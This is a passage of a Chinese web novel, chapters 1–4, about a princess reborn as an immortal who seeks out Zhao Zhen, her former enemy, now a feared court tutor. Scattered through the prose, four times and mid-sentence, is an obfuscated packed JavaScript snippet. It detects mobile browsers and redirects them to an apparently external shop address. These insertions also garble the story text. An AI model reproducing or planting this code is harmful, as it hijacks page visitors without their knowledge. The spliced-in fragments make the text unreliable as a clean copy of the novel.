《世无同心结》 1. 楔子 奚瞳此刻站在云端,俯瞰人间。 长秦的百姓正在朝挂在城门口的她的尸体扔臭鸡蛋和烂菜叶,她合理怀疑,如果不是挂得足够高,她的尸体会被鞭笞砍剁泼粪水也未可知。 三天前,身为长秦公主的她在城墙上刎颈而死,以身殉国。 而她的父王和王兄,打开了宫城大门,跪迎了敌军将领。 一旁的司命仙娥看到奚瞳满目的苍凉,颇为不忍:“你死都死了,也因为心怀高义位列仙班了,何苦回头来这里,看这些伤心事?” “赵臻呢?他死了吗?”奚瞳没有回应司命仙娥的疑问,反倒问了她一个问题。 司命仙娥如实道:“死了,两天前。先受了鞭刑,到第一百零七道鞭子时,咽下最后一口气。之后被分尸,喂了狗。” 奚瞳听到这里,缓慢地深吸了一口气,似乎想要通过这个动作减缓情绪得波澜。 “他是……”司命仙娥猜测:“你的情郎?可太上老君给我的命格册子上分明写了,他是个宦官。” 奚瞳强压住喉头的哽痛:“他怎么会是我的情郎呢?我跟他是一辈子的仇人。整个长秦王宫,很长的年岁里,我最恨他,他也最恨我。” “那他如今这样的下场,你也算是得偿所愿。”司命仙娥不疑有他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12512337|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 奚瞳默然半晌:“他也会成仙吗?” 司命仙娥这才有些瞪大了眼睛:“你当咱们天庭什么人都收啊?这人一身的邪骨,杀欲权欲都重得不得了,造的孽也不少,成不了仙的。还要做五世恶人,再偿还十世功德,才能重新判定仙缘。” 奚瞳点头:“南斗星君说,我虽位列仙班,但如今只能得司酒这样的闲职,若想更进一步,还要历一道凡世劫对吗?” “嗯。”司命仙娥应道。 奚瞳的眼神变得悠远起来。 那赵臻,我陪你一世吧……你想要什么?我帮你…… …… 2. 第 2 章 人间四月芳菲盛,桃花满园,姑娘们在院子里弹琴唱歌跳舞,足足闹腾了两个时辰,终于回了妆房。 “哎,你们听说了吗?下午有位大人物要来。”姑娘里有个穿着樱粉色衣裙的姑娘同大伙儿闲话,脸上掩饰不住兴奋。 “谁啊谁啊?若妍姐姐快说。”年纪小的几个围上来。 樱粉衣裙原叫若妍,她抬了抬下巴,朗声说出答案:“是太傅大人!” “真的假的?!怎么可能!”众人炸开了锅:“太傅大人远在京城,怎么会来咱们小小虹州?” “我亲耳听到老爷同两位少爷说的,这还能有假?!”樱粉衣裙笃定道。 “真的吗若妍姐姐?我们真的要见到太傅大人了?!听说太傅大人是咱们盈国第一美男子,比二少爷还要英俊,我若是能瞧他一眼,死也无憾了。”小丫头们叽叽喳喳。 “休得吵闹。”一个年长而美丽的女子打断了他们,她也穿了同姑娘们一样形制的衣服,但看姑娘们的噤声,便可知她在这些人里有些威信。 方才还撺掇大家凑热闹的若妍走过来挽住女子的胳膊:“好了绿绮,别那么严肃嘛。大家也是因为要见到美男子了,高兴而已。” 承桑绿绮还是冷着一张脸。 “哎呀!”若妍嗔怪道:“知道了,二少爷才是天下第一美男子,那太傅什么也不是,行了吧!” “你……”承桑绿绮这才羞红了一张脸,直掐若妍腰上的软肉:“你胡说什么?!真讨厌。” “哈哈,谁不知道咱们绿绮满心都是二少爷,二少爷心里也都是绿绮……哎呀!” 若妍在妆房里同绿绮打闹着,不知被什么绊了一下,狠狠摔倒在地。 若妍回头一看,才发现是一只没穿鞋的白花花的玉腿。 “奚瞳!大白天的你睡觉回通铺睡,在妆房里扮什么女鬼!” 这时众人停止了欢声笑语,齐刷刷看向这个脱了鞋袜披散着头发躺在墙角睡觉的小姑娘。 她叫奚瞳,是半个月前在街上行乞时被二少爷捡回来的,被安排和姑娘们住在一起。 这里的姑娘都不难相处,但唯独和奚瞳有些合不来。 奚瞳不喜欢说话,也不喜欢打扮,每天就穿一件白色的衣裙,唯一一件首饰就是后脑勺发髻上的铃兰发簪,那簪子上都有了锈迹了,可她也不换,不知道的以为家里的老爷少爷苛待她呢。 最可恨的是,二少爷来看她们的时候,他明明没有理她,她却主动上前,跟二少爷搭话,让二少爷将她流落在外的妹妹也带回来。 真是岂有此理,二少爷何其尊贵,轮得到她使唤?! 更可恨的是,不过两天,二少爷还真将她妹妹带回来了。这叫什么事儿! 奚瞳睡眼惺忪,忍不住搓了搓眼眶:“你们好吵。” “你……” 若妍恨得要同她厮打,被承桑绿绮拦了下来。 奚瞳也彻底醒了,站起来伸了个懒腰,朝妆房外头走去。 走到门口时,她回了头,声音还透着困倦的糯意,但说出来的话却是冷的:“承桑绿绮,我日行一善,劝你一句,莫要对你那二少爷存什么非分之想,会失望的。” “小贱人你说什么呢?!”承桑绿绮没说什么,倒是若妍冲上来同她争吵:“我看你就是嫉妒二少爷同我们绿绮亲近,眼红死你了是不是?!” 奚瞳笑笑:“我眼红什么?我不过是世家公子豢养的家伎,自己几斤几两,清楚得很。” 奚瞳笑起来其实十分可爱,但也挡不住言语的锋利,这份锋利削弱了所有姑娘的士气,就连清冷孤傲的承桑绿绮也忍不住咬了咬下唇。 这里是虹州第一世家陆家的家宅,在如今群雄逐鹿的乱世里,世家往往会豢养一些人,文人称之为门客,武夫称之为部曲,还有年轻女子……便是家伎。 她们容貌出众,才色双全,往往会被主人家在重大的宴会上拿出来装点门面,运气“好”的,会被当做礼物送给宾客,成为妾室。但有更多运气“不好”的,或被当做玩物侮辱,或在宅子里无声衰老,容颜褪色后,被赏赐给府里那些形色各异的下人。 奚瞳走后,若妍轻抚着绿绮苍白的脸颊:“绿绮,别听那小贱人的,你同她怎能一样,你弹得一手好琴,不输任何一位世家小姐,又识得字,会读书,二少爷对你同大伙儿不一样,咱们都看在眼里。而且……而且二少爷温润,老爷多少次打咱们的主意,都被二少爷拦下了,二少爷那样好的人,不会亏待咱们的。” 这番话开始是为了安慰承桑绿绮,说到后来也成了安慰自己。 众姑娘需要这份安慰,赶紧附和道:“是啊。二少爷是天底下最好的人了!咱们同别府的姑娘不一样。别府姑娘只知穿红戴绿,还要伺候爷们儿睡觉,二少爷却从不许人碰咱们的身子,还找人教我们读书,还教导我们要学芳夫人,哪怕生逢乱世身不由己,也要堂堂正正做人。” “对。芳夫人做家伎时姿容平平,却凭一身才学得了怀义侯青眼,成了侯夫人。芳夫人可以,咱们一定也可以!” “就是!” “没错!” 姑娘们的士气又重新鼓舞起来。 …… 奚瞳回到家伎厢房,紫虚正支了个小炉子,用山楂炖五花肉。该说不说,陆家些个主子们这点还行,不会在吃食上克扣她们。 很快,肉香伴着果香飘过来,奚瞳闻了闻,一双眼睛笑眯眯弯起来,她再次感叹,带紫虚下界真是她做的最正确的选择之一。 紫虚是她刚成仙时,天庭分配给她的小仙侍。旁的仙人不愿要她,因她仙根平平,修道多年也只是最低阶的仙娥,但相处几日之后,奚瞳便很喜欢紫虚,因为紫虚,真的很会做饭! 不过下界那天还是出了岔子,紫虚确实在仙术一道不太精通,定错了位置,导致两人失散,还好找了陆二公子帮忙,才将紫虚寻回来。 要是没了紫虚我这日子可怎么过啊……奚瞳内心庆幸道。 紫虚察觉到奚瞳正在看她,抬眼望过去:“姐姐是否饿了?那边有小点心,你先垫一垫,这肉还要再炖半个时辰,不软烂不好吃的。” “不急。”奚瞳答道。 紫虚守着她的炖肉锅,奚瞳则在她旁边的矮几旁盘腿坐下来。 她从袖子里拿出方才刚从院子里捡的鹅卵石,放在矮几上,捻一个花指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12512338|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说一句口诀,最后将食指定在鹅卵石上:“点石成金!” 鹅卵石:…… 奚瞳抿了抿嘴唇:“太贪婪了是吧……那……点石成玉!” 鹅卵石:…… “这也不行?”奚瞳有些丧气:“点石成铁!” 鹅卵石:…… “点石成铜!”奚瞳见鹅卵石还是没有丝毫反应,有些气恼:“好好好,你很倔强是吧,我告诉你,接下来就是我的底线了,休要讨价还价。” “点石成炭!” 鹅卵石:…… 紫虚笑出声:“姐姐这是做什么?凡间不能用仙法,太白金星都跟咱们说了的,你忘了吗?” 奚瞳颓然道:“万一呢,我这不是想着要是能用仙法咱们在人间行走会方便许多。” 紫虚道:“姐姐那么聪明,怎么这桩事上比我还笨?姐姐是为了晋升正神下凡劫的,这一世姐姐同我都是凡人,会生病,会老,会死……” 说到这里,紫虚突然意识到什么:“姐姐,你是害怕吗?怕生病,怕死?” 听到“死”字,奚瞳脑海里浮现那张英俊得堪称妖冶的脸,而后忍不住伸手摸了摸自己的脖子。 她记得热血从她脖子喷涌而出时,那个人看向她的眼神。 时至今日,她也没有读懂那个眼神,那里头有痛楚,有不舍,还有一种很浓很浓的她从未在旁人眼中看到过的情愫。 可是为什么呢?她和他明明是仇人。 因为他的眼睛,她脖子上的那一抹剧痛在这几百年里几乎已经被她忘记。 “姐姐?”紫虚见奚瞳出了神,开口唤她。 “下午,赵臻要来。”奚瞳淡淡道。 “哦。赵臻要……”紫虚猛然放下了她戳肉的筷子:“赵臻要来?!是传说中的那个赵臻吗?!” 奚瞳赶紧捂了小丫头的嘴:“小声点。赵臻现在是盈国太傅,当今陛下和太后都要看他脸色,你不要命了?!” 紫虚点点头,待奚瞳松开手,她凑到奚瞳跟前,低声道:“我听司命姐姐说,他是你的情郎?” “不是。他……” “但司命姐姐说,他那时候是个宦官!” “是。他……” “那你们两个怎么?!” “不是。我……” “他是怎么当的宦官?是探囊取物,还是拔钉抽楔,还是彻彻底底的鸡飞蛋打?!” “这我不太清楚。不过按常理我们长秦王宫应当都是鸡飞蛋打。”奚瞳惯性回答,但很快察觉不对:“不是……紫虚。你仙术练得一般,成语会得倒是不少。” “我好奇嘛……”紫虚笑笑:“不过姐姐,你要跟他再续前缘吗?可是五百年已经过去了,他都不知死了多少轮了,应当已经不记得你了。” 奚瞳想起她第一次杖责赵臻时,他嘴角噙着血,含笑咬牙对她说的话。 “公主殿下!今日杖责,赵臻没齿难忘!生生世世,赵臻都会记得公主今日的样子!公主……可莫要忘了在下啊!” 奚瞳又想起她自城墙坠落前,他伸过来的手,心头缓缓溢出一阵闷痛。 “我记得他就好。” 3. 第 3 章 午时一过,陆家院子里热闹起来。 下人们洒扫的洒扫,备菜的备菜,人流在陆府各处的回廊里穿行,甚至比过年都显得忙碌一些。 妆房的姑娘们刚吃过午饭,大房的管家孟六便来知会她们,让她们排一支舞,晚宴上要跳给客人看的。 孟六嘴巴动着,说着主人的命令,手却不老实,捞过离他最近的一个姑娘的腰,顺手就在屁股上摸了一把。 孟六走后,被摸的姑娘红了眼,其余姑娘围在她身边,有的安慰她,有的咒骂孟六。 奚瞳在旁边瞧着,难免叹息。 她微垂着眼眸,捻着自己的指头,盘着自己这半个月来,在陆家观察打听到的线索。 陆家之所以是虹州第一世家,是因为前一任家主陆珩十分出色。 当年陆家还是寒门,在虹州这样地处西南的偏远贫瘠之地,本来很难出头。但陆珩容貌俊美,读书好,善清谈,又颇具孝名,所以年纪轻轻就被举孝廉,做了虹州刺史别驾。其后他用二十年时间耕耘仕途,在不惑之年坐到了大司空的位置,也凭一己之力将陆家带到了世家之列。 但陆珩贤名太盛,被先帝高宇所忌惮,在某日陆珩外出清谈归家的路上,将他暗杀于马车之中。 后来陆珩的大哥陆珏为了避祸,拖家带口回到了老家虹州。 虽是亲兄弟,可陆珏和陆珩并不相像。知道这弟兄俩的人都难免感慨,陆珩的一些美好品质,比如他的相貌,他的身材,他的文化素养,在他哥身上是找不到半点相似的影子。 但陆珏偏偏有些野心,借着陆珩遗留在世间的盛名,倒也靠着酒肉碗盏相交,拉拢了不少势力,在虹州闯出了些名堂,不算辱没家门。 赵臻…… 奚瞳又想起那一席近妖的俊逸容容颜,心头不由颤了颤,生出已经不知道在心海里酿了几遭轮回的隐痛。 赵臻现下二十八岁年纪,去年先帝薨逝,年仅五岁的太子继位,他官拜太傅。 皇位的更替代表着世家利益的革新,世家门各怀心思,同皇权在暗中博弈着。可偏偏皇帝年幼,难掌社稷,当今乱世,邻国群狼环伺,可谓多事之秋。 赵臻此番跋涉,来到虹州造访陆家,想必是存了拉拢之心,想要通过联合世家,结束时局的动荡。 奚瞳想着,陆珏是有一些小聪明,但都是些上不了台面的投机手段。若说是他让赵臻大老远跑这一趟,实在不大值得。 赵臻真正想拉拢的,恐怕不是陆珏,而是陆珩的儿子,也就是姑娘们这些日子津津乐道的陆二公子——陆忧。 陆忧继承了他父亲清正温润的容貌,也一样的博览群书,善清谈,在虹州和四邻州府都有贤名。 甚至因他风度翩翩,还引领了一些当世的风潮。 男子衣衫多颜色沉闷,布料厚重,可陆忧独爱清浅绸缎,某日清谈,他说到激昂处,手臂一抬,薄缎制成的袖子顺着手臂滑下一节,露出如玉般的腕子,在场之人为之倾倒。 此后,浅色的绸衣纱衣便时兴开来,成为文人墨客的心头好。 随着一次次的清谈宴会,陆忧的美名也越传越远。 虹州境内有大河兰河穿过,于是陆忧便得了“兰河公子”的美名。 想到这里,奚瞳“噗嗤”笑了一下。 她想起赵臻也有别号来着,叫“蘅山妖君”,端看他那张狐狸精似的脸,可比陆忧贴切多了。 姑娘们本在因为孟六的骚扰而情绪低沉,猛然听到一道突兀的笑声,难免愠怒。 于是她们决定,要让奚瞳站在献舞队列的最角落,绝不让大人物们瞧她一眼。 奚瞳对她们这项决策浑然不知,只沉浸在自己将要见到赵臻的期待……还有微茫却切实存在的恐惧之中。 她有些害怕见他。 赵臻。在奚瞳还是长秦公主的时候,他是宫里的太监。 他本只是长秦王上一名媵妾身边的侍茶,因为长得好看,又很会媚上,而立之年,便爬到了殿前枢密使的位置。 王上对他宠信至极,甚至超过了宰相。 长秦王上昏庸无能,沉迷酒色,手上的奏折几乎都是赵臻来批。 他权势最盛时,见皇亲公侯不行礼,逢大臣鸿儒亦可讥。 奚瞳身为长秦公主,看赵臻很不顺眼。 历史上宦官祸国的例子太多,赵臻又那般跋扈,父兄心盲眼瞎,她作为王朝的公主,受百姓奉养,如何能袖手旁观。 奚瞳曾于兴和大殿当众杖责赵臻三次,次次血染青石板。第一次血肉沾衣,第二次脱皮折骨,最后一次伤其精魄,但逢寒天,疼痛沥髓,赵臻必卧床十天半月,药不离口。 奚瞳和赵臻被彼此的厌弃和痛恨长期淬炼,却又不得不生活在同一宫室中。 赵臻为了报复她,甚至故意破坏了她的两桩婚事,两位候选的驸马,一位莫名死在青楼,一位在宴饮时中风痴傻。 此后,她便成了煞星,世家公子避之唯恐不及。 奚瞳以为,她会一直生活在长秦王宫里,同赵臻斗到老,斗到死。 直到……长秦城破那一天…… 她的父亲长秦王上举旗投降,她的哥哥长秦太子跪地迎贼。 而赵臻,举起了长剑,率领群臣奋起杀敌。 …… 那一天很漫长,长秦王宫富贵恢弘,据说是开国之初两万匠人历时十四年建成。 可原来,这样浩大的宫城化作断壁残垣,也不过只需要一天时间。 那天的月亮很圆,星辉漫天。 然则这样好的天色,装点的却是长秦的亡国之日。 知道无力回天后,奚瞳站上了城墙。殉国,是公主最后的尊严。 她挥剑自刎,血溅七尺。 那疼痛刻骨铭心,可疼痛过后,是漫长的恍惚朦胧,奚瞳觉得自己的体温一点点散去,身子也越来越轻。 当她从城墙坠落之时,她分明看见赵臻朝她伸过来一只手,他的眼睛那么红,而且……似乎有泪。 赵臻,他当时在想什么呢? 他为什么要拉住她?又为什么流泪? 她和他明明是刻骨相恨的仇人。 所以……为什么…… 她靠着那横颈一剑,位列仙班。在天庭兢兢业业五百年,拿到神君之位成为了她的阶段性重大目标。 可太白金星总说她心有挂碍,修不得正果,说她离做神君总差三分通透。 奚瞳打小就争强好胜,十分不服气:“我差在哪里,我这么勤奋,每日天不亮我就去南天门打八段锦,吸天地之灵气,集日月之精华,丰富精神,滋养内丹,放眼天庭,就连那个鸡……” “咳咳……” “就连那个司晨仙君都没我起得早。凭什么我成不了神君?!” 太白金星摸一把他的长胡子:“神仙之道,首修忘情。丫头,你忘了吗?” “我……” 奚瞳刚要呛声,却被太白金星打断:“你此时脑袋里,难道空无一人?” 奚瞳猛地怔住,忘情二字一出,她便不由自主想起了被她打得满身是血,却冲她冷笑的赵臻。 奚瞳垂下了眼眸:“我只是对他……有些好奇……” 太白金星拿起他的拂尘,搭到他的臂弯里,施施然走了。 云雾之中飘来一句话:“大道忘情,并非无情,丫头,你啊还早着呢。” 次日,她便去找了司命仙娥,去兑那还欠着的一世凡劫。 赵臻……赵臻……这一世,别再做仇人…… …… 虹州州府槐城的城门处,一辆华贵马车慢悠悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12512339|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶进来。 华盖之下,布幔微风舞动,引得百姓纷纷驻足观看。 这是如今常见的富贵人家的马车制式,叫做香衣辇。 或许乱世太过凄苦,人们便喜欢看一些美丽之物,以寻求内心的慰藉。而女子少有抛头露面,故而在外行走的男子,他们的貌美和飘逸,被视作美德。 这种风气之下,原先只有高门命妇或者世家女眷所乘的香衣辇,逐渐成为了男子们的代步工具。 寻常香衣辇往往用的是淡彩薄纱做帷,华盖之下配有珠帘,而帷幔之中往往放置花果熏香,风来帘动,暗香阵阵,引人遐思,更对车上的公子产生不可抑制的窥视之欲,若公子面容清正,仰慕便很容易油然而生。 现下盈国许多有名的世家公子,便是以这种方式出头的。 然则眼前这驾香衣辇却不同。 用了佛头青的绸布做帐,华盖四角缀了金铎,走近之时,可以嗅到当中的檀香。 庄重肃然之中,又有些神性。与之相比,既往香衣辇,属实妖艳了。 此时车上的两名男子并不知百姓们正睁着一双双星星眼探头望着他们,当中一人将一条腿搭在坐台上,姿势豪放地吃着葡萄。另外一人则闭目端坐。 吃葡萄的叫做林载,世家林氏的长子,在宫城中担任禁卫长。而与他同乘的男子,身着一身凝夜紫的长衫,衣摆处用蚕丝绣了一条隐约可见的蛟龙。他正在闭目养神,木簪束发,剑眉舒朗,鼻挺唇薄,右侧的眼尾处,有一颗小小的痣。双瞳未现,已是举世无双的容颜。 “赵臻。”林载嚼一颗葡萄,既不吐籽也不吐皮:“约莫还有一刻就到陆家了,听闻陆忧那小子清高得很,你真能将他收于麾下?” 赵臻这才缓缓睁开双眼,所谓星眸当如是:“此行不会太顺利,但不是因为陆忧。真正难缠的恐怕是陆家的家主陆珏。陆家在虹州的基业,若无陆忧,便如大厦断梁,摇摇欲坠。陆珏嫉妒他这个侄子不假,但他也知道,陆忧留在虹州有大用处,所以不会轻易放人。” 林载笑了笑:“陆家能出陆珩这么一号人物,算是祖坟冒烟,不知陆忧作为他的儿子,能否继承一些风采啊。” 赵臻不再说话,他又闭上了眼睛。 林载喋喋不休:“你啊,为了陛下真是尽心尽力。你老实说,你这般为了陛下奔波,是否因为对周怀淑还有情。” 赵臻面无表情:“你这脑袋是不想要了吗?竟敢直呼太后娘娘的名讳。” “哎呀!”林载坐近赵臻一些:“你跟兄弟说实话,你这些年不近女色,难道不是因为对周怀淑念念不忘?毕竟你俩当年有过婚约嘛,可以理解的。” 赵臻冷冷道:“太后。” “行行行。太后。太后。” 林载套不出赵臻有关男欢女爱的半点感想,心中挫败,看来老爹若想把妹妹嫁给赵臻,还是道阻且长。 赵臻此刻的内心并没有因为曾经与他有过婚约最终却嫁入皇室的太后而生出潮汐。 相反,他脑海里浮现的是另一个女人的影子。 他从幼年开始,便经常梦到她,永远都是同一个场景。 圆月高悬之下,陌生的高耸城墙上,远远的,她旋转跃动,宛若起舞,然而下一刻,无尽的鲜血就从她身上迸贱出来。 于是猩红染就他的双眸,于是她从高处跌落…… 任凭他如何奔跑,如何伸手挽留,都不曾遏制她的坠势。 他从未看清她的样子,可也无法忘却她的样子…… 赵臻曾经很不习惯她的存在,寻过名医,也求过巫祝,皆无办法。然而多年过去,他对这席身影竟也适应了。甚至如果太长时间不在梦中见她,他便会觉得日子有些无聊空洞。 思及此处,赵臻的嘴角,弯起了一个微小的自嘲的弧度。 4. 第 4 章 陆忧从闲云阁前往正厅,听见几个院落的掌事凑在一起说闲话。 “下午要来的这位太傅大人,他的热闹你们可曾听闻?” “什么热闹?” “他和太后那点儿事儿啊!听说太后嫁给先帝前,同这位太傅大人有过婚约。” “知道知道。我前两天给老爷上茶的时候,听老爷跟大公子说来着,太傅家里人……不是获罪了吗?从那之后,婚约就作废了,太后这才入了宫。” “这么说来,太傅大人也算罪臣之后了,他这样的身份,如今却能做这么大的官儿,他和太后是不是……” “你们说,陛下会不会不是太后和先帝的儿子,而是……” “你们。”陆忧冷着一张脸,出声提醒这些下人:“是嫌命太长吗?” 众人听了这话,朝二公子望过去,便看到他满目苍冷,于是纷纷跪下,抖若筛糠:“小的不敢!” 下人们一再磕头,平日里二公子总是和颜悦色,很少为难他们这些下人,今日却说了如此重话,看来这些议论的确是触及利害了。 “再有下次,你们的舌头,就别要了。” 下人们于是叩头四散,陆忧心中却如压了一块大石。 他一直知道赵臻,就如同赵臻也一直知道他一般。 他们自幼就是铜镜的两面,无休无止地被世家众人做着比对。 陆忧是兰河公子,好读书,精诗赋,善清谈,笃信的是圣人雅礼。 而赵臻是蘅山妖君,通剑术,习兵法,奉刑律,倚仗的是铁血手腕。 截然不同的两个人,却有相似的人生经历。 都是出身贵族,都是自幼因天赋才能而受瞩目,也都是在少年时遭逢家族祸事——陆忧的父亲因先帝的猜忌而死,只能阖家远离繁华京城;而赵家,被先帝诛灭三族,唯有赵臻得上天眷顾,苟活下来。 正因如此,陆忧自认为他当比世人更明白赵臻,他的内心,不可能是平静的。在隐忍克制之下,抱负会被恨意滋养,根植于整个灵魂,肉身不死,则野心澎湃、恨意难消。 陆忧也一样,他一直在等,等京城大朝晖殿的当权者来到虹州,忏悔当年冤杀他父亲的罪行,求他回到他们身边,帮助他们实现问鼎列国的野望。 陆忧很好奇,赵臻是为谁而来,是为陛下,为太后,还是为他自己。 他更好奇,赵臻会如何“求”他。 陆忧来到正厅,伯父陆珏和堂兄陆憧已经在说话,全然没有等他的意思。 陆忧并不在乎,陆珏嫉妒父亲,也忌惮他,他一直知道。 陆珏见他来了,远远看他,冲他点了点头,而陆憧甚至只是斜眼睨了他一眼,对话始终没有因为陆忧而停止。 陆珏:“就按刚才说的办,若赵臻和林载识相,便挑几个容貌身段出挑的,送给他们玩玩,当做赔礼,我瞧着那个什么绿绮就不错。” 陆憧撇嘴笑了,一双三角眼显得更加不怀好意:“承桑绿绮啊,那可是二弟心尖儿上的人。当年我想收她做妾,二弟还同我争执来着,如今却要送到太傅大人手上,二弟舍得么?” 陆忧蹙眉,陆珏这是使美人计? 可是赵臻不近女色,天下皆知。 他刚做太傅的时候,有不少人为了巴结他,给他呈献美女,皆被他赶了出来。有个女子贪图赵臻的容貌权力,不舍得放手,便给赵臻下了淫药,但被赵臻识破,关进了牢里。后来太后听说了此事,砍了这女子两只手,扔进了兽园里头。 从那之后,世家彻底断了在赵臻枕席上动手脚的心思。 陆忧的暗忖落在陆珏父子眼里,便成了他对承桑绿绮的不舍,父子两人眼里都流露出对陆忧的鄙夷,堂堂男儿,心神为伎子所困,上不了台面。 然则鄙夷归鄙夷,面子上还是要过得去,陆珏摆出了家长的姿态:“忘名啊,伯父知道,你同那小妮子有些情谊,但她不过就是一个家伎,下贱之躯,待此番事成,咱们陆家回了京中,大把的世家姑娘等着你挑。” 忘名,是陆忧的字。陆珏习惯在表演亲情的时候这样称呼她。 陆忧回过神来,心中冷笑,笑他们实在天真。赵臻能躲过灭族之祸,又能凭一己之力爬上太傅之位,这样的人物,岂是美人计可以收买的。 思及此处,陆忧脑海里浮现一个纤瘦的身影,她同所有姑娘都不一样,她只和她妹妹呆在一起,既不练琴习舞,也不读书认字,整日守着那方小锅,变着花样做饭。除了吃,似乎对其他事情一概不感兴趣。 说来也怪,奚瞳单看容貌,实在不是第一眼的绝色。 但联想到平日的神情做派,竟很是灵动出尘,提及美人,最先想到的便是她了。 陆忧对陆珏拱手:“侄儿的确教过绿绮一些功课,但再深的情谊也谈不上,她们既是陆家人,自然要为伯父分忧,全凭伯父安排。只不过,忘名还是希望伯父顾及她们的意愿,倒不是怜惜她们,而是为了伯父,也为了咱们陆家。若她们不愿伺候太傅大人,到了太傅府,几番哭闹下来,恐怕也是白白给咱们陆家添祸端。” 陆忧的话看似顺从,实则透着对陆珏的违逆,放眼整个大盈,谁家送几个伎子还要顾及伎子的感受。 陆珏听得出陆忧话里的意思,他心中泛起怒意,但又不得不承认这话也有道理,女人是极好的礼物,却也是难料的祸水,美人计,也要美人愿意才行。 陆珏咬牙笑了,牙缝里挤出一句话:“忘名还是心软。” 陆忧笑了笑,不再多说什么。 午时一刻,赵臻的车辇停在陆府门前。 陆家叔侄三人出来迎接,陆珏和陆憧状似热情地对赵臻和林载行礼寒暄,林载与他们打着哈哈,赵臻却不言语,只盯着这两人后头站着的青年,青年此时也看着他。 陆忧的心绪更波澜些。 哪怕听过赵臻的诸多传闻,诸如赵氏灭族、孤身媚上、先帝夜死、太傅掌政…… 这些传闻听来平淡,但其背后全是是阴谋、诡计、杀人、流血。 赵臻登上大朝晖殿的高台,脚底下究竟采了多少尸骨,没有人知道。 而在这样诡谲的传闻里,赵臻的容貌与风采没有人提及,仿佛他生来就当如罗刹鬼魅一般。 可现下陆忧看着眼前的男子,不由惊艳于他的皮相。 陆忧自认他生了一副好皮囊,举手投足也算不辱世家之风。可在赵臻面前,竟占不到半点上风。 赵臻有一双极深邃的眼睛,深得叫旁人看不透,却似乎能看透一切旁人。 就在这长久的凝视里,赵臻蓦地对他展露了微笑。 陆忧没有从这个笑容里感受到半点亲和与善意,相反,他从这个笑容里感受到危险。 他眯了眯眼睛,继而颔首抬臂,对赵臻躬身行礼:“太傅大人。” 赵臻不知道陆忧这七拐八绕的心思,准确地说,他并不在乎。 他只是看着这个在四海传闻里同他比肩而立的年轻人,带一些考究:“贤弟不必多礼。” 一行人走进陆府,穿过回廊,忙着给宴厅布菜的下人们也忍不住偷看来访的贵客。 好英俊的男子,竟比二公子还要出挑。 下人们在心里这样感叹,可接下来便又联想到别的一些什么,比如——怪不得他能得太后娘娘青眼。听说太后娘娘嫁给先帝的时候,才二八芳龄,谁能甘心伺候一个年纪上做自己父亲都绰绰有余的老头儿啊,太傅大人这般风流倜傥,又同太后娘娘有过婚约,太后娘娘能把持得住?先帝死前恐怕已经脑袋青青了。 赵臻感受到下人们揣度的目光,他冷眼撇过去,众人纷纷低了头。 家主陆珏感受到赵臻周身散发出的杀气,不免问道:“怎么了?” 赵臻意味深长看了陆珏一眼,忍了下来,陆忧却在这个眼神里看到些许杀气。 几人来到宴厅,在陆珏的张罗下,赵臻与林载落座。 陆珏坐到主座,同赵臻说场面话:“太傅大人远道而来,本以为会带一众仆从,故而陆某准备了许多酒菜,可没想到,两位大人竟这样轻车简从。” 赵臻笑了:“本官自幼习武,若归更是功夫超群,虹州虽离京中甚远,但来往皆是大道,并不难行,我二人应付途中琐事,足矣。” 陆忧暗暗瞧着,一声“若归”,证明赵臻与林载关系亲厚,绝非一句同僚之情可以概括。 赵臻的职位在文臣中已经差不多到了头,林载又把持着宫中的禁卫,再想想当今陛下高澈,不过是个六岁的垂髫小儿,真不知道这天下是姓高、姓周、还是姓赵。 几人说着话,酒菜业已上齐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12512340|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆珏端出主人的架子,举杯相邀:“太傅大人和林禁卫长远道而来,我陆府蓬荜生辉,陆某敬你们!” 赵臻和林载笑着点头,林载一饮而尽,但赵臻举起的却并非酒盏,而是茶盏,抿了一口。 陆珏看到这一幕,掩去了不悦,装作惶恐的问道:“太傅大人为何饮茶?这酒是近来府上新得的,叫梨花春酿,清香醇厚,大人觉得不合口味?” 